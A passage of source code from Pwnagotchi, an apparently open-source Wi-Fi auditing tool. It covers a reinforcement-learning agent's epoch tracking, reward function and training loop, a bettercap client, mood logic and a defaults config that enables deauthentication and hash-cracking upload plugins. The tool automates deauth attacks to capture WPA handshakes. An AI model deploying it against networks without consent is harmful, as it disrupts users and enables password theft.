= 0 # did associate in this epoch in the current channel? self.did_associate = False # number of associations in this epoch self.num_assocs = 0 # number of assocs or deauths missed self.num_missed = 0 # did get any handshake in this epoch? self.did_handshakes = False # number of handshakes captured in this epoch self.num_shakes = 0 # number of channels hops self.num_hops = 0 # number of seconds sleeping self.num_slept = 0 # number of peers seen during this epoch self.num_peers = 0 # cumulative bond factor self.tot_bond_factor = 0.0 # cum_bond_factor sounded really bad ... # average bond factor self.avg_bond_factor = 0.0 # any activity at all during this epoch? self.any_activity = False # when the current epoch started self.epoch_started = time.time() # last epoch duration self.epoch_duration = 0 # https://www.metageek.com/training/resources/why-channels-1-6-11.html self.non_overlapping_channels = {1: 0, 6: 0, 11: 0} # observation vectors self._observation = { 'aps_histogram': [0.0] * wifi.NumChannels, 'sta_histogram': [0.0] * wifi.NumChannels, 'peers_histogram': [0.0] * wifi.NumChannels } self._observation_ready = threading.Event() self._epoch_data = {} self._epoch_data_ready = threading.Event() self._reward = RewardFunction() def wait_for_epoch_data(self, with_observation=True, timeout=None): # if with_observation: # self._observation_ready.wait(timeout) # self._observation_ready.clear() self._epoch_data_ready.wait(timeout) self._epoch_data_ready.clear() return self._epoch_data if with_observation is False else {**self._observation, **self._epoch_data} def data(self): return self._epoch_data def observe(self, aps, peers): num_aps = len(aps) if num_aps == 0: self.blind_for += 1 else: self.blind_for = 0 bond_unit_scale = self.config['personality']['bond_encounters_factor'] self.num_peers = len(peers) num_peers = self.num_peers + 1e-10 # avoid division by 0 self.tot_bond_factor = sum((peer.encounters for peer in peers)) / bond_unit_scale self.avg_bond_factor = self.tot_bond_factor / num_peers num_aps = len(aps) + 1e-10 num_sta = sum(len(ap['clients']) for ap in aps) + 1e-10 aps_per_chan = [0.0] * wifi.NumChannels sta_per_chan = [0.0] * wifi.NumChannels peers_per_chan = [0.0] * wifi.NumChannels for ap in aps: ch_idx = ap['channel'] - 1 try: aps_per_chan[ch_idx] += 1.0 sta_per_chan[ch_idx] += len(ap['clients']) except IndexError: logging.error("got data on channel %d, we can store %d channels" % (ap['channel'], wifi.NumChannels)) for peer in peers: try: peers_per_chan[peer.last_channel - 1] += 1.0 except IndexError: logging.error( "got peer data on channel %d, we can store %d channels" % (peer.last_channel, wifi.NumChannels)) # normalize aps_per_chan = [e / num_aps for e in aps_per_chan] sta_per_chan = [e / num_sta for e in sta_per_chan] peers_per_chan = [e / num_peers for e in peers_per_chan] self._observation = { 'aps_histogram': aps_per_chan, 'sta_histogram': sta_per_chan, 'peers_histogram': peers_per_chan } self._observation_ready.set() def track(self, deauth=False, assoc=False, handshake=False, hop=False, sleep=False, miss=False, inc=1): if deauth: self.num_deauths += inc self.did_deauth = True self.any_activity = True if assoc: self.num_assocs += inc self.did_associate = True self.any_activity = True if miss: self.num_missed += inc if hop: self.num_hops += inc # these two are used in order to determine the sleep time in seconds # before switching to a new channel ... if nothing happened so far # during this epoch on the current channel, we will sleep less self.did_deauth = False self.did_associate = False if handshake: self.num_shakes += inc self.did_handshakes = True if sleep: self.num_slept += inc def next(self): if self.any_activity is False and self.did_handshakes is False: self.inactive_for += 1 self.active_for = 0 else: self.active_for += 1 self.inactive_for = 0 self.sad_for = 0 self.bored_for = 0 if self.inactive_for >= self.config['personality']['sad_num_epochs']: # sad > bored; cant be sad and bored self.bored_for = 0 self.sad_for += 1 elif self.inactive_for >= self.config['personality']['bored_num_epochs']: # sad_treshhold > inactive > bored_treshhold; cant be sad and bored self.sad_for = 0 self.bored_for += 1 else: self.sad_for = 0 self.bored_for = 0 now = time.time() cpu = pwnagotchi.cpu_load() mem = pwnagotchi.mem_usage() temp = pwnagotchi.temperature() self.epoch_duration = now - self.epoch_started # cache the state of this epoch for other threads to read self._epoch_data = { 'duration_secs': self.epoch_duration, 'slept_for_secs': self.num_slept, 'blind_for_epochs': self.blind_for, 'inactive_for_epochs': self.inactive_for, 'active_for_epochs': self.active_for, 'sad_for_epochs': self.sad_for, 'bored_for_epochs': self.bored_for, 'missed_interactions': self.num_missed, 'num_hops': self.num_hops, 'num_peers': self.num_peers, 'tot_bond': self.tot_bond_factor, 'avg_bond': self.avg_bond_factor, 'num_deauths': self.num_deauths, 'num_associations': self.num_assocs, 'num_handshakes': self.num_shakes, 'cpu_load': cpu, 'mem_usage': mem, 'temperature': temp } self._epoch_data['reward'] = self._reward(self.epoch + 1, self._epoch_data) self._epoch_data_ready.set() logging.info("[epoch %d] duration=%s slept_for=%s blind=%d sad=%d bored=%d inactive=%d active=%d peers=%d tot_bond=%.2f " "avg_bond=%.2f hops=%d missed=%d deauths=%d assocs=%d handshakes=%d cpu=%d%% mem=%d%% " "temperature=%dC reward=%s" % ( self.epoch, utils.secs_to_hhmmss(self.epoch_duration), utils.secs_to_hhmmss(self.num_slept), self.blind_for, self.sad_for, self.bored_for, self.inactive_for, self.active_for, self.num_peers, self.tot_bond_factor, self.avg_bond_factor, self.num_hops, self.num_missed, self.num_deauths, self.num_assocs, self.num_shakes, cpu * 100, mem * 100, temp, self._epoch_data['reward'])) self.epoch += 1 self.epoch_started = now self.did_deauth = False self.num_deauths = 0 self.num_peers = 0 self.tot_bond_factor = 0.0 self.avg_bond_factor = 0.0 self.did_associate = False self.num_assocs = 0 self.num_missed = 0 self.did_handshakes = False self.num_shakes = 0 self.num_hops = 0 self.num_slept = 0 self.any_activity = False ================================================ FILE: pwnagotchi/ai/featurizer.py ================================================ import numpy as np import pwnagotchi.mesh.wifi as wifi MAX_EPOCH_DURATION = 1024 def describe(extended=False): if not extended: histogram_size = wifi.NumChannels else: # see https://github.com/evilsocket/pwnagotchi/issues/583 histogram_size = wifi.NumChannelsExt return histogram_size, (1, # aps per channel histogram_size + # clients per channel histogram_size + # peers per channel histogram_size + # duration 1 + # inactive 1 + # active 1 + # missed 1 + # hops 1 + # deauths 1 + # assocs 1 + # handshakes 1) def featurize(state, step): tot_epochs = step + 1e-10 tot_interactions = (state['num_deauths'] + state['num_associations']) + 1e-10 return np.concatenate(( # aps per channel state['aps_histogram'], # clients per channel state['sta_histogram'], # peers per channel state['peers_histogram'], # duration [np.clip(state['duration_secs'] / MAX_EPOCH_DURATION, 0.0, 1.0)], # inactive [state['inactive_for_epochs'] / tot_epochs], # active [state['active_for_epochs'] / tot_epochs], # missed [state['missed_interactions'] / tot_interactions], # hops [state['num_hops'] / wifi.NumChannels], # deauths [state['num_deauths'] / tot_interactions], # assocs [state['num_associations'] / tot_interactions], # handshakes [state['num_handshakes'] / tot_interactions], )) ================================================ FILE: pwnagotchi/ai/gym.py ================================================ import logging import gym from gym import spaces import numpy as np import pwnagotchi.ai.featurizer as featurizer import pwnagotchi.ai.reward as reward from pwnagotchi.ai.parameter import Parameter class Environment(gym.Env): metadata = {'render.modes': ['human']} params = [ Parameter('min_rssi', min_value=-200, max_value=-50), Parameter('ap_ttl', min_value=30, max_value=600), Parameter('sta_ttl', min_value=60, max_value=300), Parameter('recon_time', min_value=5, max_value=60), Parameter('max_inactive_scale', min_value=3, max_value=10), Parameter('recon_inactive_multiplier', min_value=1, max_value=3), Parameter('hop_recon_time', min_value=5, max_value=60), Parameter('min_recon_time', min_value=1, max_value=30), Parameter('max_interactions', min_value=1, max_value=25), Parameter('max_misses_for_recon', min_value=3, max_value=10), Parameter('excited_num_epochs', min_value=5, max_value=30), Parameter('bored_num_epochs', min_value=5, max_value=30), Parameter('sad_num_epochs', min_value=5, max_value=30), ] def __init__(self, agent, epoch): super(Environment, self).__init__() self._agent = agent self._epoch = epoch self._epoch_num = 0 self._last_render = None # see https://github.com/evilsocket/pwnagotchi/issues/583 self._supported_channels = agent.supported_channels() self._extended_spectrum = any(ch > 140 for ch in self._supported_channels) self._histogram_size, self._observation_shape = featurizer.describe(self._extended_spectrum) Environment.params += [ Parameter('_channel_%d' % ch, min_value=0, max_value=1, meta=ch + 1) for ch in range(self._histogram_size) if ch + 1 in self._supported_channels ] self.last = { 'reward': 0.0, 'observation': None, 'policy': None, 'params': {}, 'state': None, 'state_v': None } self.action_space = spaces.MultiDiscrete([p.space_size() for p in Environment.params if p.trainable]) self.observation_space = spaces.Box(low=0, high=1, shape=self._observation_shape, dtype=np.float32) self.reward_range = reward.range @staticmethod def policy_size(): return len(list(p for p in Environment.params if p.trainable)) @staticmethod def policy_to_params(policy): num = len(policy) params = {} assert len(Environment.params) == num channels = [] for i in range(num): param = Environment.params[i] if '_channel' not in param.name: params[param.name] = param.to_param_value(policy[i]) else: has_chan = param.to_param_value(policy[i]) # print("%s policy:%s bool:%s" % (param.name, policy[i], has_chan)) chan = param.meta if has_chan: channels.append(chan) params['channels'] = channels return params def _next_epoch(self): logging.debug("[ai] waiting for epoch to finish ...") return self._epoch.wait_for_epoch_data() def _apply_policy(self, policy): new_params = Environment.policy_to_params(policy) self.last['policy'] = policy self.last['params'] = new_params self._agent.on_ai_policy(new_params) def step(self, policy): # create the parameters from the policy and update # update them in the algorithm self._apply_policy(policy) self._epoch_num += 1 # wait for the algorithm to run with the new parameters state = self._next_epoch() self.last['reward'] = state['reward'] self.last['state'] = state self.last['state_v'] = featurizer.featurize(state, self._epoch_num) self._agent.on_ai_step() return self.last['state_v'], self.last['reward'], not self._agent.is_training(), {} def reset(self): # logging.info("[ai] resetting environment ...") self._epoch_num = 0 state = self._next_epoch() self.last['state'] = state self.last['state_v'] = featurizer.featurize(state, 1) return self.last['state_v'] def _render_histogram(self, hist): for ch in range(self._histogram_size): if hist[ch]: logging.info(" CH %d: %s" % (ch + 1, hist[ch])) def render(self, mode='human', close=False, force=False): # when using a vectorialized environment, render gets called twice # avoid rendering the same data if self._last_render == self._epoch_num: return if not self._agent.is_training() and not force: return self._last_render = self._epoch_num logging.info("[ai] --- training epoch %d/%d ---" % (self._epoch_num, self._agent.training_epochs())) logging.info("[ai] REWARD: %f" % self.last['reward']) logging.debug("[ai] policy: %s" % ', '.join("%s:%s" % (name, value) for name, value in self.last['params'].items())) logging.info("[ai] observation:") for name, value in self.last['state'].items(): if 'histogram' in name: logging.info(" %s" % name.replace('_histogram', '')) self._render_histogram(value) ================================================ FILE: pwnagotchi/ai/parameter.py ================================================ from gym import spaces class Parameter(object): def __init__(self, name, value=0.0, min_value=0, max_value=2, meta=None, trainable=True): self.name = name self.trainable = trainable self.meta = meta self.value = value self.min_value = min_value self.max_value = max_value + 1 # gym.space.Discrete is within [0, 1, 2, ..., n-1] if self.min_value < 0: self.scale_factor = abs(self.min_value) elif self.min_value > 0: self.scale_factor = -self.min_value else: self.scale_factor = 0 def space_size(self): return self.max_value + self.scale_factor def space(self): return spaces.Discrete(self.max_value + self.scale_factor) def to_param_value(self, policy_v): self.value = policy_v - self.scale_factor assert self.min_value <= self.value <= self.max_value return int(self.value) ================================================ FILE: pwnagotchi/ai/reward.py ================================================ import pwnagotchi.mesh.wifi as wifi range = (-.7, 1.02) fuck_zero = 1e-20 class RewardFunction(object): def __call__(self, epoch_n, state): tot_epochs = epoch_n + fuck_zero tot_interactions = max(state['num_deauths'] + state['num_associations'], state['num_handshakes']) + fuck_zero tot_channels = wifi.NumChannels h = state['num_handshakes'] / tot_interactions a = .2 * (state['active_for_epochs'] / tot_epochs) c = .1 * (state['num_hops'] / tot_channels) b = -.3 * (state['blind_for_epochs'] / tot_epochs) m = -.3 * (state['missed_interactions'] / tot_interactions) i = -.2 * (state['inactive_for_epochs'] / tot_epochs) # include emotions if state >= 5 epochs _sad = state['sad_for_epochs'] if state['sad_for_epochs'] >= 5 else 0 _bored = state['bored_for_epochs'] if state['bored_for_epochs'] >= 5 else 0 s = -.2 * (_sad / tot_epochs) l = -.1 * (_bored / tot_epochs) return h + a + c + b + i + m + s + l ================================================ FILE: pwnagotchi/ai/train.py ================================================ import _thread import threading import time import random import os import json import logging import pwnagotchi.plugins as plugins import pwnagotchi.ai as ai class Stats(object): def __init__(self, path, events_receiver): self._lock = threading.Lock() self._receiver = events_receiver self.path = path self.born_at = time.time() # total epochs lived (trained + just eval) self.epochs_lived = 0 # total training epochs self.epochs_trained = 0 self.worst_reward = 0.0 self.best_reward = 0.0 self.load() def on_epoch(self, data, training): best_r = False worst_r = False with self._lock: reward = data['reward'] if reward < self.worst_reward: self.worst_reward = reward worst_r = True elif reward > self.best_reward: best_r = True self.best_reward = reward self.epochs_lived += 1 if training: self.epochs_trained += 1 self.save() if best_r: self._receiver.on_ai_best_reward(reward) elif worst_r: self._receiver.on_ai_worst_reward(reward) def load(self): with self._lock: if os.path.exists(self.path) and os.path.getsize(self.path) > 0: logging.info("[ai] loading %s" % self.path) with open(self.path, 'rt') as fp: obj = json.load(fp) self.born_at = obj['born_at'] self.epochs_lived, self.epochs_trained = obj['epochs_lived'], obj['epochs_trained'] self.best_reward, self.worst_reward = obj['rewards']['best'], obj['rewards']['worst'] def save(self): with self._lock: logging.info("[ai] saving %s" % self.path) data = json.dumps({ 'born_at': self.born_at, 'epochs_lived': self.epochs_lived, 'epochs_trained': self.epochs_trained, 'rewards': { 'best': self.best_reward, 'worst': self.worst_reward } }) temp = "%s.tmp" % self.path with open(temp, 'wt') as fp: fp.write(data) os.replace(temp, self.path) class AsyncTrainer(object): def __init__(self, config): self._config = config self._model = None self._is_training = False self._training_epochs = 0 self._nn_path = self._config['ai']['path'] self._stats = Stats("%s.json" % os.path.splitext(self._nn_path)[0], self) def set_training(self, training, for_epochs=0): self._is_training = training self._training_epochs = for_epochs if training: plugins.on('ai_training_start', self, for_epochs) else: plugins.on('ai_training_end', self) def is_training(self): return self._is_training def training_epochs(self): return self._training_epochs def start_ai(self): _thread.start_new_thread(self._ai_worker, ()) def _save_ai(self): logging.info("[ai] saving model to %s ..." % self._nn_path) temp = "%s.tmp" % self._nn_path self._model.save(temp) os.replace(temp, self._nn_path) def on_ai_step(self): self._model.env.render() if self._is_training: self._save_ai() self._stats.on_epoch(self._epoch.data(), self._is_training) def on_ai_training_step(self, _locals, _globals): self._model.env.render() plugins.on('ai_training_step', self, _locals, _globals) def on_ai_policy(self, new_params): plugins.on('ai_policy', self, new_params) logging.info("[ai] setting new policy:") for name, value in new_params.items(): if name in self._config['personality']: curr_value = self._config['personality'][name] if curr_value != value: logging.info("[ai] ! %s: %s -> %s" % (name, curr_value, value)) self._config['personality'][name] = value else: logging.error("[ai] param %s not in personality configuration!" % name) self.run('set wifi.ap.ttl %d' % self._config['personality']['ap_ttl']) self.run('set wifi.sta.ttl %d' % self._config['personality']['sta_ttl']) self.run('set wifi.rssi.min %d' % self._config['personality']['min_rssi']) def on_ai_ready(self): self._view.on_ai_ready() plugins.on('ai_ready', self) def on_ai_best_reward(self, r): logging.info("[ai] best reward so far: %s" % r) self._view.on_motivated(r) plugins.on('ai_best_reward', self, r) def on_ai_worst_reward(self, r): logging.info("[ai] worst reward so far: %s" % r) self._view.on_demotivated(r) plugins.on('ai_worst_reward', self, r) def _ai_worker(self): self._model = ai.load(self._config, self, self._epoch) if self._model: self.on_ai_ready() epochs_per_episode = self._config['ai']['epochs_per_episode'] obs = None while True: self._model.env.render() # enter in training mode? if random.random() > self._config['ai']['laziness']: logging.info("[ai] learning for %d epochs ..." % epochs_per_episode) try: self.set_training(True, epochs_per_episode) self._model.learn(total_timesteps=epochs_per_episode, callback=self.on_ai_training_step) except Exception as e: logging.exception("[ai] error while training (%s)", e) finally: self.set_training(False) obs = self._model.env.reset() # init the first time elif obs is None: obs = self._model.env.reset() # run the inference action, _ = self._model.predict(obs) obs, _, _, _ = self._model.env.step(action) ================================================ FILE: pwnagotchi/ai/utils.py ================================================ import numpy as np def normalize(v, min_v, max_v): return (v - min_v) / (max_v - min_v) def as_batches(x, y, batch_size, shuffle=True): x_size = len(x) assert x_size == len(y) indices = np.random.permutation(x_size) if shuffle else None for offset in range(0, x_size - batch_size + 1, batch_size): excerpt = indices[offset:offset + batch_size] if shuffle else slice(offset, offset + batch_size) yield x[excerpt], y[excerpt] ================================================ FILE: pwnagotchi/automata.py ================================================ import logging import pwnagotchi.plugins as plugins from pwnagotchi.ai.epoch import Epoch # basic mood system class Automata(object): def __init__(self, config, view): self._config = config self._view = view self._epoch = Epoch(config) def _on_miss(self, who): logging.info("it looks like %s is not in range anymore :/", who) self._epoch.track(miss=True) self._view.on_miss(who) def _on_error(self, who, e): # when we're trying to associate or deauth something that is not in range anymore # (if we are moving), we get the following error from bettercap: # error 400: 50:c7:bf:2e:d3:37 is an unknown BSSID or it is in the association skip list. if 'is an unknown BSSID' in str(e): self._on_miss(who) else: logging.error(e) def set_starting(self): self._view.on_starting() def set_ready(self): plugins.on('ready', self) def in_good_mood(self): return self._has_support_network_for(1.0) def _has_support_network_for(self, factor): bond_factor = self._config['personality']['bond_encounters_factor'] total_encounters = sum(peer.encounters for _, peer in self._peers.items()) support_factor = total_encounters / bond_factor return support_factor >= factor # triggered when it's a sad/bad day but you have good friends around ^_^ def set_grateful(self): self._view.on_grateful() plugins.on('grateful', self) def set_lonely(self): if not self._has_support_network_for(1.0): logging.info("unit is lonely") self._view.on_lonely() plugins.on('lonely', self) else: logging.info("unit is grateful instead of lonely") self.set_grateful() def set_bored(self): factor = self._epoch.inactive_for / self._config['personality']['bored_num_epochs'] if not self._has_support_network_for(factor): logging.warning("%d epochs with no activity -> bored", self._epoch.inactive_for) self._view.on_bored() plugins.on('bored', self) else: logging.info("unit is grateful instead of bored") self.set_grateful() def set_sad(self): factor = self._epoch.inactive_for / self._config['personality']['sad_num_epochs'] if not self._has_support_network_for(factor): logging.warning("%d epochs with no activity -> sad", self._epoch.inactive_for) self._view.on_sad() plugins.on('sad', self) else: logging.info("unit is grateful instead of sad") self.set_grateful() def set_angry(self, factor): if not self._has_support_network_for(factor): logging.warning("%d epochs with no activity -> angry", self._epoch.inactive_for) self._view.on_angry() plugins.on('angry', self) else: logging.info("unit is grateful instead of angry") self.set_grateful() def set_excited(self): logging.warning("%d epochs with activity -> excited", self._epoch.active_for) self._view.on_excited() plugins.on('excited', self) def set_rebooting(self): self._view.on_rebooting() plugins.on('rebooting', self) def wait_for(self, t, sleeping=True): plugins.on('sleep' if sleeping else 'wait', self, t) self._view.wait(t, sleeping) self._epoch.track(sleep=True, inc=t) def is_stale(self): return self._epoch.num_missed > self._config['personality']['max_misses_for_recon'] def any_activity(self): return self._epoch.any_activity def next_epoch(self): logging.debug("agent.next_epoch()") was_stale = self.is_stale() did_miss = self._epoch.num_missed self._epoch.next() # after X misses during an epoch, set the status to lonely or angry if was_stale: factor = did_miss / self._config['personality']['max_misses_for_recon'] if factor >= 2.0: self.set_angry(factor) else: logging.warning("agent missed %d interactions -> lonely", did_miss) self.set_lonely() # after X times being bored, the status is set to sad or angry elif self._epoch.sad_for: factor = self._epoch.inactive_for / self._config['personality']['sad_num_epochs'] if factor >= 2.0: self.set_angry(factor) else: self.set_sad() # after X times being inactive, the status is set to bored elif self._epoch.bored_for: self.set_bored() # after X times being active, the status is set to happy / excited elif self._epoch.active_for >= self._config['personality']['excited_num_epochs']: self.set_excited() elif self._epoch.active_for >= 5 and self._has_support_network_for(5.0): self.set_grateful() plugins.on('epoch', self, self._epoch.epoch - 1, self._epoch.data()) if self._epoch.blind_for >= self._config['main']['mon_max_blind_epochs']: logging.critical("%d epochs without visible access points -> rebooting ...", self._epoch.blind_for) self._reboot() self._epoch.blind_for = 0 ================================================ FILE: pwnagotchi/bettercap.py ================================================ import json import logging import requests import websockets from requests.auth import HTTPBasicAuth def decode(r, verbose_errors=True): try: return r.json() except Exception as e: if r.status_code == 200: logging.error("error while decoding json: error='%s' resp='%s'" % (e, r.text)) else: err = "error %d: %s" % (r.status_code, r.text.strip()) if verbose_errors: logging.info(err) raise Exception(err) return r.text class Client(object): def __init__(self, hostname='localhost', scheme='http', port=8081, username='user', password='pass'): self.hostname = hostname self.scheme = scheme self.port = port self.username = username self.password = password self.url = "%s://%s:%d/api" % (scheme, hostname, port) self.websocket = "ws://%s:%s@%s:%d/api" % (username, password, hostname, port) self.auth = HTTPBasicAuth(username, password) def session(self): r = requests.get("%s/session" % self.url, auth=self.auth) return decode(r) async def start_websocket(self, consumer): s = "%s/events" % self.websocket while True: try: async with websockets.connect(s, ping_interval=60, ping_timeout=90) as ws: async for msg in ws: try: await consumer(msg) except Exception as ex: logging.debug("Error while parsing event (%s)", ex) except websockets.exceptions.ConnectionClosedError: logging.debug("Lost websocket connection. Reconnecting...") except websockets.exceptions.WebSocketException as wex: logging.debug("Websocket exception (%s)", wex) def run(self, command, verbose_errors=True): r = requests.post("%s/session" % self.url, auth=self.auth, json={'cmd': command}) return decode(r, verbose_errors=verbose_errors) ================================================ FILE: pwnagotchi/defaults.toml ================================================ main.name = "" main.lang = "en" main.confd = "/etc/pwnagotchi/conf.d/" main.custom_plugins = "" main.custom_plugin_repos = [ "https://github.com/evilsocket/pwnagotchi-plugins-contrib/archive/master.zip" ] main.iface = "mon0" main.mon_start_cmd = "/usr/bin/monstart" main.mon_stop_cmd = "/usr/bin/monstop" main.mon_max_blind_epochs = 50 main.no_restart = false main.whitelist = [ "EXAMPLE_NETWORK", "ANOTHER_EXAMPLE_NETWORK", "fo:od:ba:be:fo:od", "fo:od:ba" ] main.filter = "" main.plugins.grid.enabled = true main.plugins.grid.report = false main.plugins.grid.exclude = [ "YourHomeNetworkHere" ] main.plugins.auto-update.enabled = true main.plugins.auto-update.install = true main.plugins.auto-update.interval = 1 main.plugins.net-pos.enabled = false main.plugins.net-pos.api_key = "test" main.plugins.gps.enabled = false main.plugins.gps.speed = 19200 main.plugins.gps.device = "/dev/ttyUSB0" main.plugins.webgpsmap.enabled = false main.plugins.onlinehashcrack.enabled = false main.plugins.onlinehashcrack.email = "" main.plugins.onlinehashcrack.dashboard = "" main.plugins.onlinehashcrack.single_files = false main.plugins.onlinehashcrack.whitelist = [] main.plugins.wpa-sec.enabled = false main.plugins.wpa-sec.api_key = "" main.plugins.wpa-sec.api_url = "https://wpa-sec.stanev.org" main.plugins.wpa-sec.download_results = false main.plugins.wpa-sec.whitelist = [] main.plugins.wigle.enabled = false main.plugins.wigle.api_key = "" main.plugins.wigle.whitelist = [] main.plugins.wigle.donate = true main.plugins.bt-tether.enabled = false main.plugins.bt-tether.devices.android-phone.enabled = false main.plugins.bt-tether.devices.android-phone.search_order = 1 main.plugins.bt-tether.devices.android-phone.mac = "" main.plugins.bt-tether.devices.android-phone.ip = "192.168.44.44" main.plugins.bt-tether.devices.android-phone.netmask = 24 main.plugins.bt-tether.devices.android-phone.interval = 1 main.plugins.bt-tether.devices.android-phone.scantime = 10 main.plugins.bt-tether.devices.android-phone.max_tries = 10 main.plugins.bt-tether.devices.android-phone.share_internet = false main.plugins.bt-tether.devices.android-phone.priority = 1 main.plugins.bt-tether.devices.ios-phone.enabled = false main.plugins.bt-tether.devices.ios-phone.search_order = 2 main.plugins.bt-tether.devices.ios-phone.mac = "" main.plugins.bt-tether.devices.ios-phone.ip = "172.20.10.6" main.plugins.bt-tether.devices.ios-phone.netmask = 24 main.plugins.bt-tether.devices.ios-phone.interval = 5 main.plugins.bt-tether.devices.ios-phone.scantime = 20 main.plugins.bt-tether.devices.ios-phone.max_tries = 0 main.plugins.bt-tether.devices.ios-phone.share_internet = false main.plugins.bt-tether.devices.ios-phone.priority = 999 main.plugins.memtemp.enabled = false main.plugins.memtemp.scale = "celsius" main.plugins.memtemp.orientation = "horizontal" main.plugins.paw-gps.enabled = false main.plugins.paw-gps.ip = "192.168.44.1:8080" main.plugins.ups_lite.enabled = false main.plugins.ups_lite.shutdown = 2 main.plugins.gpio_buttons.enabled = false main.plugins.led.enabled = true main.plugins.led.led = 0 main.plugins.led.delay = 200 main.plugins.led.patterns.loaded = "oo oo oo oo oo oo oo" main.plugins.led.patterns.updating = "oo oo oo oo oo oo oo" main.plugins.led.patterns.unread_inbox = "oo oo oo oo oo oo oo" main.plugins.led.patterns.ready = "oo oo oo oo oo oo oo" main.plugins.led.patterns.ai_ready = "oo oo oo oo oo oo oo" main.plugins.led.patterns.ai_training_start = "oo oo oo oo oo oo oo" main.plugins.led.patterns.ai_best_reward = "oo oo oo oo oo oo oo" main.plugins.led.patterns.ai_worst_reward = "oo oo oo oo oo oo oo" main.plugins.led.patterns.bored = "oo oo oo oo oo oo oo" main.plugins.led.patterns.sad = "oo oo oo oo oo oo oo" main.plugins.led.patterns.excited = "oo oo oo oo oo oo oo" main.plugins.led.patterns.lonely = "oo oo oo oo oo oo oo" main.plugins.led.patterns.rebooting = "oo oo oo oo oo oo oo" main.plugins.led.patterns.wait = "oo oo oo oo oo oo oo" main.plugins.led.patterns.sleep = "oo oo oo oo oo oo oo" main.plugins.led.patterns.wifi_update = "oo oo oo oo oo oo oo" main.plugins.led.patterns.association = "oo oo oo oo oo oo oo" main.plugins.led.patterns.deauthentication = "oo oo oo oo oo oo oo" main.plugins.led.patterns.handshake = "oo oo oo oo oo oo oo" main.plugins.led.patterns.epoch = "oo oo oo oo oo oo oo" main.plugins.led.patterns.peer_detected = "oo oo oo oo oo oo oo" main.plugins.led.patterns.peer_lost = "oo oo oo oo oo oo oo" main.plugins.logtail.enabled = false main.plugins.logtail.max-lines = 10000 main.plugins.session-stats.enabled = true main.plugins.session-stats.save_directory = "/var/tmp/pwnagotchi/sessions/" main.log.path = "/var/log/pwnagotchi.log" main.log.rotation.enabled = true main.log.rotation.size = "10M" ai.enabled = true ai.path = "/root/brain.nn" ai.laziness = 0.1 ai.epochs_per_episode = 50 ai.params.gamma = 0.99 ai.params.n_steps = 1 ai.params.vf_coef = 0.25 ai.params.ent_coef = 0.01 ai.params.max_grad_norm = 0.5 ai.params.learning_rate = 0.001 ai.params.alpha = 0.99 ai.params.epsilon = 0.00001 ai.params.verbose = 1 ai.params.lr_schedule = "constant" personality.advertise = true personality.deauth = true personality.associate = true personality.channels = [] personality.min_rssi = -200 personality.ap_ttl = 120 personality.sta_ttl = 300 personality.recon_time = 30 personality.max_inactive_scale = 2 personality.recon_inactive_multiplier = 2 personality.hop_recon_time = 10 personality.min_recon_time = 5 personality.max_interactions = 3 personality.max_misses_for_recon = 5 personality.excited_num_epochs = 10 personality.bored_num_epochs = 15 personality.sad_num_epochs = 25 personality.bond_encounters_factor = 20000 ui.fps = 0.0 ui.font.name = "DejaVuSansMono" # for japanese: fonts-japanese-gothic ui.font.size_offset = 0 # will be added to the font size ui.faces.look_r = "( ⚆_⚆)" ui.faces.look_l = "(☉_☉ )" ui.faces.look_r_happy = "( ◕‿◕)" ui.faces.look_l_happy = "(◕‿◕ )" ui.faces.sleep = "(⇀‿‿↼)" ui.faces.sleep2 = "(≖‿‿≖)" ui.faces.awake = "(◕‿‿◕)" ui.faces.bored = "(-__-)" ui.faces.intense = "(°▃▃°)" ui.faces.cool = "(⌐■_■)" ui.faces.happy = "(•‿‿•)" ui.faces.excited = "(ᵔ◡◡ᵔ)" ui.faces.grateful = "(^‿‿^)" ui.faces.motivated = "(☼‿‿☼)" ui.faces.demotivated = "(≖__≖)" ui.faces.smart = "(✜‿‿✜)" ui.faces.lonely = "(ب__ب)" ui.faces.sad = "(╥☁╥ )" ui.faces.angry = "(-_-')" ui.faces.friend = "(♥‿‿♥)" ui.faces.broken = "(☓‿‿☓)" ui.faces.debug = "(#__#)" ui.faces.upload = "(1__0)" ui.faces.upload1 = "(1__1)" ui.faces.upload2 = "(0__1)" ui.web.enabled = true ui.web.address = "0.0.0.0" ui.web.username = "changeme" ui.web.password = "changeme" ui.web.origin = "" ui.web.port = 8080 ui.web.on_frame = "" ui.display.enabled = true ui.display.rotation = 180 ui.display.type = "waveshare_2" ui.display.color = "black" bettercap.scheme = "http" bettercap.hostname = "localhost" bettercap.port = 8081 bettercap.username = "pwnagotchi" bettercap.password = "pwnagotchi" bettercap.handshakes = "/root/handshakes" bettercap.silence = [ "ble.device.new", "ble.device.lost", "ble.device.disconnected", "ble.device.connected", "ble.device.service.discovered", "ble.device.characteristic.discovered", "wifi.client.new", "wifi.client.lost", "wifi.client.probe", "wifi.ap.new", "wifi.ap.lost", "mod.started" ] fs.memory.enabled = false fs.memory.mounts.log.enabled = false fs.memory.mounts.log.mount = "/var/log" fs.memory.mounts.log.size = "50M" fs.memory.mounts.log.sync = 60 fs.memory.mounts.log.zram = true fs.memory.mounts.log.rsync = true fs.memory.mounts.data.enabled = false fs.memory.mounts.data.mount = "/var/tmp/pwnagotchi" fs.memory.mounts.data.size = "10M" fs.memory.mounts.data.sync = 3600 fs.memory.mounts.data.zram = false fs.memory.mounts.data.rsync = true ================================================ FILE: pwnagotchi/fs/__init__.py ================================================ import os import re import tempfile import contextlib import shutil import _thread import logging from time import sleep from distutils.dir_util import copy_tree mounts = list() @contextlib.contextmanager def ensure_write(filename, mode='w'): path = os.path.dirname(filename) fd, tmp = tempfile.mkstemp(dir=path) with os.fdopen(fd, mode) as f: yield f f.flush() os.fsync(f.fileno()) os.replace(tmp, filename) def size_of(path): """ Calculate the sum of all the files in path """ total = 0 for root, _, files in os.walk(path): for f in files: total += os.path.getsize(os.path.join(root, f)) return total def is_mountpoint(path): """ Checks if path is mountpoint """ return os.system(f"mountpoint -q {path}") == 0 def setup_mounts(config): """ Sets up all the configured mountpoints """ global mounts fs_cfg = config['fs']['memory'] if not fs_cfg['enabled']: return for name, options in fs_cfg['mounts'].items(): if not options['enabled']: continue logging.debug("[FS] Trying to setup mount %s (%s)", name, options['mount']) size,unit = re.match(r"(\d+)([a-zA-Z]+)", options['size']).groups() target = os.path.join('/run/pwnagotchi/disk/', os.path.basename(options['mount'])) is_mounted = is_mountpoint(target) logging.debug("[FS] %s is %s mounted", options['mount'], "already" if is_mounted else "not yet") m = MemoryFS( options['mount'], target, size=options['size'], zram=options['zram'], zram_disk_size=f"{int(size)*2}{unit}", rsync=options['rsync']) if not is_mounted: if not m.mount(): 